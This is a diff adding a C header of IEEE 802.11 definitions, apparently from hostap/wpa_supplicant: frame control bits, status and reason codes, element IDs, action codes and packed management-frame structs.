-0,0 +1,1164 @@ +/* + * IEEE 802.11 Frame type definitions + * Copyright (c) 2002-2009, Jouni Malinen + * Copyright (c) 2007-2008 Intel Corporation + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef IEEE802_11_DEFS_H +#define IEEE802_11_DEFS_H + +/* IEEE 802.11 defines */ + +#define WLAN_FC_PVER 0x0003 +#define WLAN_FC_TODS 0x0100 +#define WLAN_FC_FROMDS 0x0200 +#define WLAN_FC_MOREFRAG 0x0400 +#define WLAN_FC_RETRY 0x0800 +#define WLAN_FC_PWRMGT 0x1000 +#define WLAN_FC_MOREDATA 0x2000 +#define WLAN_FC_ISWEP 0x4000 +#define WLAN_FC_ORDER 0x8000 + +#define WLAN_FC_GET_TYPE(fc) (((fc) & 0x000c) >> 2) +#define WLAN_FC_GET_STYPE(fc) (((fc) & 0x00f0) >> 4) + +#define WLAN_GET_SEQ_FRAG(seq) ((seq) & (BIT(3) | BIT(2) | BIT(1) | BIT(0))) +#define WLAN_GET_SEQ_SEQ(seq) \ + (((seq) & (~(BIT(3) | BIT(2) | BIT(1) | BIT(0)))) >> 4) + +#define WLAN_FC_TYPE_MGMT 0 +#define WLAN_FC_TYPE_CTRL 1 +#define WLAN_FC_TYPE_DATA 2 + +/* management */ +#define WLAN_FC_STYPE_ASSOC_REQ 0 +#define WLAN_FC_STYPE_ASSOC_RESP 1 +#define WLAN_FC_STYPE_REASSOC_REQ 2 +#define WLAN_FC_STYPE_REASSOC_RESP 3 +#define WLAN_FC_STYPE_PROBE_REQ 4 +#define WLAN_FC_STYPE_PROBE_RESP 5 +#define WLAN_FC_STYPE_BEACON 8 +#define WLAN_FC_STYPE_ATIM 9 +#define WLAN_FC_STYPE_DISASSOC 10 +#define WLAN_FC_STYPE_AUTH 11 +#define WLAN_FC_STYPE_DEAUTH 12 +#define WLAN_FC_STYPE_ACTION 13 + +/* control */ +#define WLAN_FC_STYPE_PSPOLL 10 +#define WLAN_FC_STYPE_RTS 11 +#define WLAN_FC_STYPE_CTS 12 +#define WLAN_FC_STYPE_ACK 13 +#define WLAN_FC_STYPE_CFEND 14 +#define WLAN_FC_STYPE_CFENDACK 15 + +/* data */ +#define WLAN_FC_STYPE_DATA 0 +#define WLAN_FC_STYPE_DATA_CFACK 1 +#define WLAN_FC_STYPE_DATA_CFPOLL 2 +#define WLAN_FC_STYPE_DATA_CFACKPOLL 3 +#define WLAN_FC_STYPE_NULLFUNC 4 +#define WLAN_FC_STYPE_CFACK 5 +#define WLAN_FC_STYPE_CFPOLL 6 +#define WLAN_FC_STYPE_CFACKPOLL 7 +#define WLAN_FC_STYPE_QOS_DATA 8 +#define WLAN_FC_STYPE_QOS_DATA_CFACK 9 +#define WLAN_FC_STYPE_QOS_DATA_CFPOLL 10 +#define WLAN_FC_STYPE_QOS_DATA_CFACKPOLL 11 +#define WLAN_FC_STYPE_QOS_NULL 12 +#define WLAN_FC_STYPE_QOS_CFPOLL 14 +#define WLAN_FC_STYPE_QOS_CFACKPOLL 15 + +/* Authentication algorithms */ +#define WLAN_AUTH_OPEN 0 +#define WLAN_AUTH_SHARED_KEY 1 +#define WLAN_AUTH_FT 2 +#define WLAN_AUTH_SAE 3 +#define WLAN_AUTH_LEAP 128 + +#define WLAN_AUTH_CHALLENGE_LEN 128 + +#define WLAN_CAPABILITY_ESS BIT(0) +#define WLAN_CAPABILITY_IBSS BIT(1) +#define WLAN_CAPABILITY_CF_POLLABLE BIT(2) +#define WLAN_CAPABILITY_CF_POLL_REQUEST BIT(3) +#define WLAN_CAPABILITY_PRIVACY BIT(4) +#define WLAN_CAPABILITY_SHORT_PREAMBLE BIT(5) +#define WLAN_CAPABILITY_PBCC BIT(6) +#define WLAN_CAPABILITY_CHANNEL_AGILITY BIT(7) +#define WLAN_CAPABILITY_SPECTRUM_MGMT BIT(8) +#define WLAN_CAPABILITY_SHORT_SLOT_TIME BIT(10) +#define WLAN_CAPABILITY_DSSS_OFDM BIT(13) + +/* Status codes (IEEE 802.11-2007, 7.3.1.9, Table 7-23) */ +#define WLAN_STATUS_SUCCESS 0 +#define WLAN_STATUS_UNSPECIFIED_FAILURE 1 +#define WLAN_STATUS_TDLS_WAKEUP_ALTERNATE 2 +#define WLAN_STATUS_TDLS_WAKEUP_REJECT 3 +#define WLAN_STATUS_SECURITY_DISABLED 5 +#define WLAN_STATUS_UNACCEPTABLE_LIFETIME 6 +#define WLAN_STATUS_NOT_IN_SAME_BSS 7 +#define WLAN_STATUS_CAPS_UNSUPPORTED 10 +#define WLAN_STATUS_REASSOC_NO_ASSOC 11 +#define WLAN_STATUS_ASSOC_DENIED_UNSPEC 12 +#define WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG 13 +#define WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION 14 +#define WLAN_STATUS_CHALLENGE_FAIL 15 +#define WLAN_STATUS_AUTH_TIMEOUT 16 +#define WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA 17 +#define WLAN_STATUS_ASSOC_DENIED_RATES 18 +/* IEEE 802.11b */ +#define WLAN_STATUS_ASSOC_DENIED_NOSHORT 19 +#define WLAN_STATUS_ASSOC_DENIED_NOPBCC 20 +#define WLAN_STATUS_ASSOC_DENIED_NOAGILITY 21 +/* IEEE 802.11h */ +#define WLAN_STATUS_SPEC_MGMT_REQUIRED 22 +#define WLAN_STATUS_PWR_CAPABILITY_NOT_VALID 23 +#define WLAN_STATUS_SUPPORTED_CHANNEL_NOT_VALID 24 +/* IEEE 802.11g */ +#define WLAN_STATUS_ASSOC_DENIED_NO_SHORT_SLOT_TIME 25 +#define WLAN_STATUS_ASSOC_DENIED_NO_DSSS_OFDM 26 +#define WLAN_STATUS_ASSOC_DENIED_NO_HT 27 +#define WLAN_STATUS_R0KH_UNREACHABLE 28 +#define WLAN_STATUS_ASSOC_DENIED_NO_PCO 29 +/* IEEE 802.11w */ +#define WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY 30 +#define WLAN_STATUS_ROBUST_MGMT_FRAME_POLICY_VIOLATION 31 +#define WLAN_STATUS_UNSPECIFIED_QOS_FAILURE 32 +#define WLAN_STATUS_REQUEST_DECLINED 37 +#define WLAN_STATUS_INVALID_PARAMETERS 38 +/* IEEE 802.11i */ +#define WLAN_STATUS_INVALID_IE 40 +#define WLAN_STATUS_GROUP_CIPHER_NOT_VALID 41 +#define WLAN_STATUS_PAIRWISE_CIPHER_NOT_VALID 42 +#define WLAN_STATUS_AKMP_NOT_VALID 43 +#define WLAN_STATUS_UNSUPPORTED_RSN_IE_VERSION 44 +#define WLAN_STATUS_INVALID_RSN_IE_CAPAB 45 +#define WLAN_STATUS_CIPHER_REJECTED_PER_POLICY 46 +#define WLAN_STATUS_TS_NOT_CREATED 47 +#define WLAN_STATUS_DIRECT_LINK_NOT_ALLOWED 48 +#define WLAN_STATUS_DEST_STA_NOT_PRESENT 49 +#define WLAN_STATUS_DEST_STA_NOT_QOS_STA 50 +#define WLAN_STATUS_ASSOC_DENIED_LISTEN_INT_TOO_LARGE 51 +/* IEEE 802.11r */ +#define WLAN_STATUS_INVALID_FT_ACTION_FRAME_COUNT 52 +#define WLAN_STATUS_INVALID_PMKID 53 +#define WLAN_STATUS_INVALID_MDIE 54 +#define WLAN_STATUS_INVALID_FTIE 55 +#define WLAN_STATUS_GAS_ADV_PROTO_NOT_SUPPORTED 59 +#define WLAN_STATUS_NO_OUTSTANDING_GAS_REQ 60 +#define WLAN_STATUS_GAS_RESP_NOT_RECEIVED 61 +#define WLAN_STATUS_STA_TIMED_OUT_WAITING_FOR_GAS_RESP 62 +#define WLAN_STATUS_GAS_RESP_LARGER_THAN_LIMIT 63 +#define WLAN_STATUS_REQ_REFUSED_HOME 64 +#define WLAN_STATUS_ADV_SRV_UNREACHABLE 65 +#define WLAN_STATUS_REQ_REFUSED_SSPN 67 +#define WLAN_STATUS_REQ_REFUSED_UNAUTH_ACCESS 68 +#define WLAN_STATUS_INVALID_RSNIE 72 +#define WLAN_STATUS_ANTI_CLOGGING_TOKEN_REQ 76 +#define WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED 77 +#define WLAN_STATUS_TRANSMISSION_FAILURE 79 + +/* Reason codes (IEEE 802.11-2007, 7.3.1.7, Table 7-22) */ +#define WLAN_REASON_UNSPECIFIED 1 +#define WLAN_REASON_PREV_AUTH_NOT_VALID 2 +#define WLAN_REASON_DEAUTH_LEAVING 3 +#define WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY 4 +#define WLAN_REASON_DISASSOC_AP_BUSY 5 +#define WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA 6 +#define WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA 7 +#define WLAN_REASON_DISASSOC_STA_HAS_LEFT 8 +#define WLAN_REASON_STA_REQ_ASSOC_WITHOUT_AUTH 9 +/* IEEE 802.11h */ +#define WLAN_REASON_PWR_CAPABILITY_NOT_VALID 10 +#define WLAN_REASON_SUPPORTED_CHANNEL_NOT_VALID 11 +/* IEEE 802.11i */ +#define WLAN_REASON_INVALID_IE 13 +#define WLAN_REASON_MICHAEL_MIC_FAILURE 14 +#define WLAN_REASON_4WAY_HANDSHAKE_TIMEOUT 15 +#define WLAN_REASON_GROUP_KEY_UPDATE_TIMEOUT 16 +#define WLAN_REASON_IE_IN_4WAY_DIFFERS 17 +#define WLAN_REASON_GROUP_CIPHER_NOT_VALID 18 +#define WLAN_REASON_PAIRWISE_CIPHER_NOT_VALID 19 +#define WLAN_REASON_AKMP_NOT_VALID 20 +#define WLAN_REASON_UNSUPPORTED_RSN_IE_VERSION 21 +#define WLAN_REASON_INVALID_RSN_IE_CAPAB 22 +#define WLAN_REASON_IEEE_802_1X_AUTH_FAILED 23 +#define WLAN_REASON_CIPHER_SUITE_REJECTED 24 +#define WLAN_REASON_TDLS_TEARDOWN_UNREACHABLE 25 +#define WLAN_REASON_TDLS_TEARDOWN_UNSPECIFIED 26 +/* IEEE 802.11e */ +#define WLAN_REASON_DISASSOC_LOW_ACK 34 + + +/* Information Element IDs */ +#define WLAN_EID_SSID 0 +#define WLAN_EID_SUPP_RATES 1 +#define WLAN_EID_FH_PARAMS 2 +#define WLAN_EID_DS_PARAMS 3 +#define WLAN_EID_CF_PARAMS 4 +#define WLAN_EID_TIM 5 +#define WLAN_EID_IBSS_PARAMS 6 +#define WLAN_EID_COUNTRY 7 +#define WLAN_EID_BSS_LOAD 11 +#define WLAN_EID_CHALLENGE 16 +/* EIDs defined by IEEE 802.11h - START */ +#define WLAN_EID_PWR_CONSTRAINT 32 +#define WLAN_EID_PWR_CAPABILITY 33 +#define WLAN_EID_TPC_REQUEST 34 +#define WLAN_EID_TPC_REPORT 35 +#define WLAN_EID_SUPPORTED_CHANNELS 36 +#define WLAN_EID_CHANNEL_SWITCH 37 +#define WLAN_EID_MEASURE_REQUEST 38 +#define WLAN_EID_MEASURE_REPORT 39 +#define WLAN_EID_QUITE 40 +#define WLAN_EID_IBSS_DFS 41 +/* EIDs defined by IEEE 802.11h - END */ +#define WLAN_EID_ERP_INFO 42 +#define WLAN_EID_HT_CAP 45 +#define WLAN_EID_QOS 46 +#define WLAN_EID_RSN 48 +#define WLAN_EID_EXT_SUPP_RATES 50 +#define WLAN_EID_MOBILITY_DOMAIN 54 +#define WLAN_EID_FAST_BSS_TRANSITION 55 +#define WLAN_EID_TIMEOUT_INTERVAL 56 +#define WLAN_EID_RIC_DATA 57 +#define WLAN_EID_HT_OPERATION 61 +#define WLAN_EID_SECONDARY_CHANNEL_OFFSET 62 +#define WLAN_EID_WAPI 68 +#define WLAN_EID_TIME_ADVERTISEMENT 69 +#define WLAN_EID_20_40_BSS_COEXISTENCE 72 +#define WLAN_EID_20_40_BSS_INTOLERANT 73 +#define WLAN_EID_OVERLAPPING_BSS_SCAN_PARAMS 74 +#define WLAN_EID_MMIE 76 +#define WLAN_EID_SSID_LIST 84 +#define WLAN_EID_BSS_MAX_IDLE_PERIOD 90 +#define WLAN_EID_TFS_REQ 91 +#define WLAN_EID_TFS_RESP 92 +#define WLAN_EID_WNMSLEEP 93 +#define WLAN_EID_TIME_ZONE 98 +#define WLAN_EID_LINK_ID 101 +#define WLAN_EID_INTERWORKING 107 +#define WLAN_EID_ADV_PROTO 108 +#define WLAN_EID_QOS_MAP_SET 110 +#define WLAN_EID_ROAMING_CONSORTIUM 111 +#define WLAN_EID_EXT_CAPAB 127 +#define WLAN_EID_CCKM 156 +#define WLAN_EID_VHT_CAP 191 +#define WLAN_EID_VHT_OPERATION 192 +#define WLAN_EID_VHT_EXTENDED_BSS_LOAD 193 +#define WLAN_EID_VHT_WIDE_BW_CHSWITCH 194 +#define WLAN_EID_VHT_TRANSMIT_POWER_ENVELOPE 195 +#define WLAN_EID_VHT_CHANNEL_SWITCH_WRAPPER 196 +#define WLAN_EID_VHT_AID 197 +#define WLAN_EID_VHT_QUIET_CHANNEL 198 +#define WLAN_EID_VHT_OPERATING_MODE_NOTIFICATION 199 +#define WLAN_EID_VENDOR_SPECIFIC 221 + + +/* Action frame categories (IEEE 802.11-2007, 7.3.1.11, Table 7-24) */ +#define WLAN_ACTION_SPECTRUM_MGMT 0 +#define WLAN_ACTION_QOS 1 +#define WLAN_ACTION_DLS 2 +#define WLAN_ACTION_BLOCK_ACK 3 +#define WLAN_ACTION_PUBLIC 4 +#define WLAN_ACTION_RADIO_MEASUREMENT 5 +#define WLAN_ACTION_FT 6 +#define WLAN_ACTION_HT 7 +#define WLAN_ACTION_SA_QUERY 8 +#define WLAN_ACTION_WNM 10 +#define WLAN_ACTION_UNPROTECTED_WNM 11 +#define WLAN_ACTION_TDLS 12 +#define WLAN_ACTION_WMM 17 /* WMM Specification 1.1 */ +#define WLAN_ACTION_VENDOR_SPECIFIC 127 + +/* Public action codes */ +#define WLAN_PA_20_40_BSS_COEX 0 +#define WLAN_PA_VENDOR_SPECIFIC 9 +#define WLAN_PA_GAS_INITIAL_REQ 10 +#define WLAN_PA_GAS_INITIAL_RESP 11 +#define WLAN_PA_GAS_COMEBACK_REQ 12 +#define WLAN_PA_GAS_COMEBACK_RESP 13 +#define WLAN_TDLS_DISCOVERY_RESPONSE 14 + +/* SA Query Action frame (IEEE 802.11w/D8.0, 7.4.9) */ +#define WLAN_SA_QUERY_REQUEST 0 +#define WLAN_SA_QUERY_RESPONSE 1 + +#define WLAN_SA_QUERY_TR_ID_LEN 2 + +/* TDLS action codes */ +#define WLAN_TDLS_SETUP_REQUEST 0 +#define WLAN_TDLS_SETUP_RESPONSE 1 +#define WLAN_TDLS_SETUP_CONFIRM 2 +#define WLAN_TDLS_TEARDOWN 3 +#define WLAN_TDLS_PEER_TRAFFIC_INDICATION 4 +#define WLAN_TDLS_CHANNEL_SWITCH_REQUEST 5 +#define WLAN_TDLS_CHANNEL_SWITCH_RESPONSE 6 +#define WLAN_TDLS_PEER_PSM_REQUEST 7 +#define WLAN_TDLS_PEER_PSM_RESPONSE 8 +#define WLAN_TDLS_PEER_TRAFFIC_RESPONSE 9 +#define WLAN_TDLS_DISCOVERY_REQUEST 10 + +/* Timeout Interval Type */ +#define WLAN_TIMEOUT_REASSOC_DEADLINE 1 +#define WLAN_TIMEOUT_KEY_LIFETIME 2 +#define WLAN_TIMEOUT_ASSOC_COMEBACK 3 + +/* Interworking element (IEEE 802.11u) - Access Network Options */ +#define INTERWORKING_ANO_ACCESS_NETWORK_MASK 0x0f +#define INTERWORKING_ANO_INTERNET 0x10 +#define INTERWORKING_ANO_ASRA 0x20 +#define INTERWORKING_ANO_ESR 0x40 +#define INTERWORKING_ANO_UESA 0x80 + +#define INTERWORKING_ANT_PRIVATE 0 +#define INTERWORKING_ANT_PRIVATE_WITH_GUEST 1 +#define INTERWORKING_ANT_CHARGEABLE_PUBLIC 2 +#define INTERWORKING_ANT_FREE_PUBLIC 3 +#define INTERWORKING_ANT_PERSONAL_DEVICE 4 +#define INTERWORKING_ANT_EMERGENCY_SERVICES 5 +#define INTERWORKING_ANT_TEST 6 +#define INTERWORKING_ANT_WILDCARD 15 + +/* Advertisement Protocol ID definitions (IEEE Std 802.11u-2011) */ +enum adv_proto_id { + ACCESS_NETWORK_QUERY_PROTOCOL = 0, + MIH_INFO_SERVICE = 1, + MIH_CMD_AND_EVENT_DISCOVERY = 2, + EMERGENCY_ALERT_SYSTEM = 3, + ADV_PROTO_VENDOR_SPECIFIC = 221 +}; + +/* Access Network Query Protocol info ID definitions (IEEE Std 802.11u-2011) */ +enum anqp_info_id { + ANQP_QUERY_LIST = 256, + ANQP_CAPABILITY_LIST = 257, + ANQP_VENUE_NAME = 258, + ANQP_EMERGENCY_CALL_NUMBER = 259, + ANQP_NETWORK_AUTH_TYPE = 260, + ANQP_ROAMING_CONSORTIUM = 261, + ANQP_IP_ADDR_TYPE_AVAILABILITY = 262, + ANQP_NAI_REALM = 263, + ANQP_3GPP_CELLULAR_NETWORK = 264, + ANQP_AP_GEOSPATIAL_LOCATION = 265, + ANQP_AP_CIVIC_LOCATION = 266, + ANQP_AP_LOCATION_PUBLIC_URI = 267, + ANQP_DOMAIN_NAME = 268, + ANQP_EMERGENCY_ALERT_URI = 269, + ANQP_EMERGENCY_NAI = 271, + ANQP_VENDOR_SPECIFIC = 56797 +}; + +/* NAI Realm list - EAP Method subfield - Authentication Parameter ID */ +enum nai_realm_eap_auth_param { + NAI_REALM_EAP_AUTH_EXPANDED_EAP_METHOD = 1, + NAI_REALM_EAP_AUTH_NON_EAP_INNER_AUTH = 2, + NAI_REALM_EAP_AUTH_INNER_AUTH_EAP_METHOD = 3, + NAI_REALM_EAP_AUTH_EXPANDED_INNER_EAP_METHOD = 4, + NAI_REALM_EAP_AUTH_CRED_TYPE = 5, + NAI_REALM_EAP_AUTH_TUNNELED_CRED_TYPE = 6, + NAI_REALM_EAP_AUTH_VENDOR_SPECIFIC = 221 +}; + +enum nai_realm_eap_auth_inner_non_eap { + NAI_REALM_INNER_NON_EAP_PAP = 1, + NAI_REALM_INNER_NON_EAP_CHAP = 2, + NAI_REALM_INNER_NON_EAP_MSCHAP = 3, + NAI_REALM_INNER_NON_EAP_MSCHAPV2 = 4 +}; + +enum nai_realm_eap_cred_type { + NAI_REALM_CRED_TYPE_SIM = 1, + NAI_REALM_CRED_TYPE_USIM = 2, + NAI_REALM_CRED_TYPE_NFC_SECURE_ELEMENT = 3, + NAI_REALM_CRED_TYPE_HARDWARE_TOKEN = 4, + NAI_REALM_CRED_TYPE_SOFTOKEN = 5, + NAI_REALM_CRED_TYPE_CERTIFICATE = 6, + NAI_REALM_CRED_TYPE_USERNAME_PASSWORD = 7, + NAI_REALM_CRED_TYPE_NONE = 8, + NAI_REALM_CRED_TYPE_ANONYMOUS = 9, + NAI_REALM_CRED_TYPE_VENDOR_SPECIFIC = 10 +}; + +#ifdef _MSC_VER +#pragma pack(push, 1) +#endif /* _MSC_VER */ + +struct ieee80211_hdr { + le16 frame_control; + le16 duration_id; + u8 addr1[6]; + u8 addr2[6]; + u8 addr3[6]; + le16 seq_ctrl; + /* followed by 'u8 addr4[6];' if ToDS and FromDS is set in data frame + */ +} STRUCT_PACKED; + +#define IEEE80211_DA_FROMDS addr1 +#define IEEE80211_BSSID_FROMDS addr2 +#define IEEE80211_SA_FROMDS addr3 + +#define IEEE80211_HDRLEN (sizeof(struct ieee80211_hdr)) + +#define IEEE80211_FC(type, stype) host_to_le16((type << 2) | (stype << 4)) + +struct ieee80211_mgmt { + le16 frame_control; + le16 duration; + u8 da[6]; + u8 sa[6]; + u8 bssid[6]; + le16 seq_ctrl; + union { + struct { + le16 auth_alg; + le16 auth_transaction; + le16 status_code; + /* possibly followed by Challenge text */ + u8 variable[0]; + } STRUCT_PACKED auth; + struct { + le16 reason_code; + u8 variable[0]; + } STRUCT_PACKED deauth; + struct { + le16 capab_info; + le16 listen_interval; + /* followed by SSID and Supported rates */ + u8 variable[0]; + } STRUCT_PACKED assoc_req; + struct { + le16 capab_info; + le16 status_code; + le16 aid; + /* followed by Supported rates */ + u8 variable[0]; + } STRUCT_PACKED assoc_resp, reassoc_resp; + struct { + le16 capab_info; + le16 listen_interval; + u8 current_ap[6]; + /* followed by SSID and Supported rates */ + u8 variable[0]; + } STRUCT_PACKED reassoc_req; + struct { + le16 reason_code; + u8 variable[0]; + } STRUCT_PACKED disassoc; + struct { + u8 timestamp[8]; + le16 beacon_int; + le16 capab_info; + /* followed by some of SSID, Supported rates, + * FH Params, DS Params, CF Params, IBSS Params, TIM */ + u8 variable[0]; + } STRUCT_PACKED beacon; + struct { + /* only variable items: SSID, Supported rates */ + u8 variable[0]; + } STRUCT_PACKED probe_req; + struct { + u8 timestamp[8]; + le16 beacon_int; + le16 capab_info; + /* followed by some of SSID, Supported rates, + * FH Params, DS Params, CF Params, IBSS Params */ + u8 variable[0]; + } STRUCT_PACKED probe_resp; + struct { + u8 category; + union { + struct { + u8 action_code; + u8 dialog_token; + u8 status_code; + u8 variable[0]; + } STRUCT_PACKED wmm_action; + struct{ + u8 action_code; + u8 element_id; + u8 length; + u8 switch_mode; + u8 new_chan; + u8 switch_count; + } STRUCT_PACKED chan_switch; + struct { + u8 action; + u8 sta_addr[ETH_ALEN]; + u8 target_ap_addr[ETH_ALEN]; + u8 variable[0]; /* FT Request */ + } STRUCT_PACKED ft_action_req; + struct { + u8 action; + u8 sta_addr[ETH_ALEN]; + u8 target_ap_addr[ETH_ALEN]; + le16 status_code; + u8 variable[0]; /* FT Request */ + } STRUCT_PACKED ft_action_resp; + struct { + u8 action; + u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; + } STRUCT_PACKED sa_query_req; + struct { + u8 action; /* */ + u8 trans_id[WLAN_SA_QUERY_TR_ID_LEN]; + } STRUCT_PACKED sa_query_resp; + struct { + u8 action; + u8 dialogtoken; + u8 variable[0]; + } STRUCT_PACKED wnm_sleep_req; + struct { + u8 action; + u8 dialogtoken; + le16 keydata_len; + u8 variable[0]; + } STRUCT_PACKED wnm_sleep_resp; + struct { + u8 action; + u8 variable[0]; + } STRUCT_PACKED public_action; + struct { + u8 action; /* 9 */ + u8 oui[3]; + /* Vendor-specific content */ + u8 variable[0]; + } STRUCT_PACKED vs_public_action; + struct { + u8 action; /* 7 */ + u8 dialog_token; + u8 req_mode; + le16 disassoc_timer; + u8 validity_interval; + /* BSS Termination Duration (optional), + * Session Information URL (optional), + * BSS Transition Candidate List + * Entries */ + u8 variable[0]; + } STRUCT_PACKED bss_tm_req; + struct { + u8 action; /* 8 */ + u8 dialog_token; + u8 status_code; + u8 bss_termination_delay; + /* Target BSSID (optional), + * BSS Transition Candidate List + * Entries (optional) */ + u8 variable[0]; + } STRUCT_PACKED bss_tm_resp; + struct { + u8 action; /* 6 */ + u8 dialog_token; + u8 query_reason; + /* BSS Transition Candidate List + * Entries (optional) */ + u8 variable[0]; + } STRUCT_PACKED bss_tm_query; + } u; + } STRUCT_PACKED action; + } u; +} STRUCT_PACKED; + + +/* Rx MCS bitmask is in the first 77 bits of supported_mcs_set */ +#define IEEE80211_HT_MCS_MASK_LEN 10 + +struct ieee80211_ht_capabilities { + le16 ht_capabilities_info; + u8 a_mpdu_params; + u8 supported_mcs_set[16]; + le16 ht_extended_capabilities; + le32 tx_bf_capability_info; + u8 asel_capabilities; +} STRUCT_PACKED; + + +struct ieee80211_ht_operation { + u8 control_chan; + u8 ht_param; + le16 operation_mode; + le16 stbc_param; + u8 basic_set[16]; +} STRUCT_PACKED; + + +struct ieee80211_obss_scan_parameters { + le16 scan_passive_dwell; + le16 scan_active_dwell; + le16 width_trigger_scan_interval; + le16 scan_passive_total_per_channel; + le16 scan_active_total_per_channel; + le16 channel_transition_delay_factor; + le16 scan_activity_threshold; +} STRUCT_PACKED; + + +struct ieee80211_vht_capabilities { + le32 vht_capabilities_info; + struct { + le16 rx_map; + le16 rx_highest; + le16 tx_map; + le16 tx_highest; + } vht_supported_mcs_set; +} STRUCT_PACKED; + +struct ieee80211_vht_operation { + u8 vht_op_info_chwidth; + u8 vht_op_info_chan_center_freq_seg0_idx; + u8 vht_op_info_chan_center_freq_seg1_idx; + le16 vht_basic_mcs_set; +} STRUCT_PACKED; + +#ifdef _MSC_VER +#pragma pack(pop) +#endif /* _MSC_VER */ + +#define ERP_INFO_NON_ERP_PRESENT BIT(0) +#define ERP_INFO_USE_PROTECTION BIT(1) +#define ERP_INFO_BARKER_PREAMBLE_MODE BIT(2) + + +#define HT_CAP_INFO_LDPC_CODING_CAP ((u16) BIT(0)) +#define HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET ((u16) BIT(1)) +#define HT_CAP_INFO_SMPS_MASK ((u16) (BIT(2) | BIT(3))) +#define HT_CAP_INFO_SMPS_STATIC ((u16) 0) +#define HT_CAP_INFO_SMPS_DYNAMIC ((u16) BIT(2)) +#define HT_CAP_INFO_SMPS_DISABLED ((u16) (BIT(2) | BIT(3))) +#define HT_CAP_INFO_GREEN_FIELD ((u16) BIT(4)) +#define HT_CAP_INFO_SHORT_GI20MHZ ((u16) BIT(5)) +#define HT_CAP_INFO_SHORT_GI40MHZ ((u16) BIT(6)) +#define HT_CAP_INFO_TX_STBC ((u16) BIT(7)) +#define HT_CAP_INFO_RX_STBC_MASK ((u16) (BIT(8) | BIT(9))) +#define HT_CAP_INFO_RX_STBC_1 ((u16) BIT(8)) +#define HT_CAP_INFO_RX_STBC_12 ((u16) BIT(9)) +#define HT_CAP_INFO_RX_STBC_123 ((u16) (BIT(8) | BIT(9))) +#define HT_CAP_INFO_DELAYED_BA ((u16) BIT(10)) +#define HT_CAP_INFO_MAX_AMSDU_SIZE ((u16) BIT(11)) +#define HT_CAP_INFO_DSSS_CCK40MHZ ((u16) BIT(12)) +#define HT_CAP_INFO_PSMP_SUPP ((u16) BIT(13)) +#define HT_CAP_INFO_40MHZ_INTOLERANT ((u16) BIT(14)) +#define HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT ((u16) BIT(15)) + + +#define EXT_HT_CAP_INFO_PCO ((u16) BIT(0)) +#define EXT_HT_CAP_INFO_TRANS_TIME_OFFSET 1 +#define EXT_HT_CAP_INFO_MCS_FEEDBACK_OFFSET 8 +#define EXT_HT_CAP_INFO_HTC_SUPPORTED ((u16) BIT(10)) +#define EXT_HT_CAP_INFO_RD_RESPONDER ((u16) BIT(11)) + + +#define TX_BEAMFORM_CAP_TXBF_CAP ((u32) BIT(0)) +#define TX_BEAMFORM_CAP_RX_STAGGERED_SOUNDING_CAP ((u32) BIT(1)) +#define TX_BEAMFORM_CAP_TX_STAGGERED_SOUNDING_CAP ((u32) BIT(2)) +#define TX_BEAMFORM_CAP_RX_ZLF_CAP ((u32) BIT(3)) +#define TX_BEAMFORM_CAP_TX_ZLF_CAP ((u32) BIT(4)) +#define TX_BEAMFORM_CAP_IMPLICIT_ZLF_CAP ((u32) BIT(5)) +#define TX_BEAMFORM_CAP_CALIB_OFFSET 6 +#define TX_BEAMFORM_CAP_EXPLICIT_CSI_TXBF_CAP ((u32) BIT(8)) +#define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_CAP ((u32) BIT(9)) +#define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_CAP ((u32) BIT(10)) +#define TX_BEAMFORM_CAP_EXPLICIT_BF_CSI_FEEDBACK_OFFSET 11 +#define TX_BEAMFORM_CAP_EXPLICIT_UNCOMPR_STEERING_MATRIX_FEEDBACK_OFFSET 13 +#define TX_BEAMFORM_CAP_EXPLICIT_COMPRESSED_STEERING_MATRIX_FEEDBACK_OFFSET 15 +#define TX_BEAMFORM_CAP_MINIMAL_GROUPING_OFFSET 17 +#define TX_BEAMFORM_CAP_CSI_NUM_BEAMFORMER_ANT_OFFSET 19 +#define TX_BEAMFORM_CAP_UNCOMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 21 +#define TX_BEAMFORM_CAP_COMPRESSED_STEERING_MATRIX_BEAMFORMER_ANT_OFFSET 23 +#define TX_BEAMFORM_CAP_SCI_MAX_OF_ROWS_BEANFORMER_SUPPORTED_OFFSET 25 + + +#define ASEL_CAPABILITY_ASEL_CAPABLE ((u8) BIT(0)) +#define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(1)) +#define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_BASED_TX_AS_CAP ((u8) BIT(2)) +#define ASEL_CAPABILITY_EXPLICIT_CSI_FEEDBACK_CAP ((u8) BIT(3)) +#define ASEL_CAPABILITY_ANT_INDICES_FEEDBACK_CAP ((u8) BIT(4)) +#define ASEL_CAPABILITY_RX_AS_CAP ((u8) BIT(5)) +#define ASEL_CAPABILITY_TX_SOUND_PPDUS_CAP ((u8) BIT(6)) + +#define HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK ((u8) BIT(0) | BIT(1)) +#define HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE ((u8) BIT(0)) +#define HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW ((u8) BIT(0) | BIT(1)) +#define HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH ((u8) BIT(2)) +#define HT_INFO_HT_PARAM_RIFS_MODE ((u8) BIT(3)) +#define HT_INFO_HT_PARAM_CTRL_ACCESS_ONLY ((u8) BIT(4)) +#define HT_INFO_HT_PARAM_SRV_INTERVAL_GRANULARITY ((u8) BIT(5)) + + +#define OP_MODE_PURE 0 +#define OP_MODE_MAY_BE_LEGACY_STAS 1 +#define OP_MODE_20MHZ_HT_STA_ASSOCED 2 +#define OP_MODE_MIXED 3 + 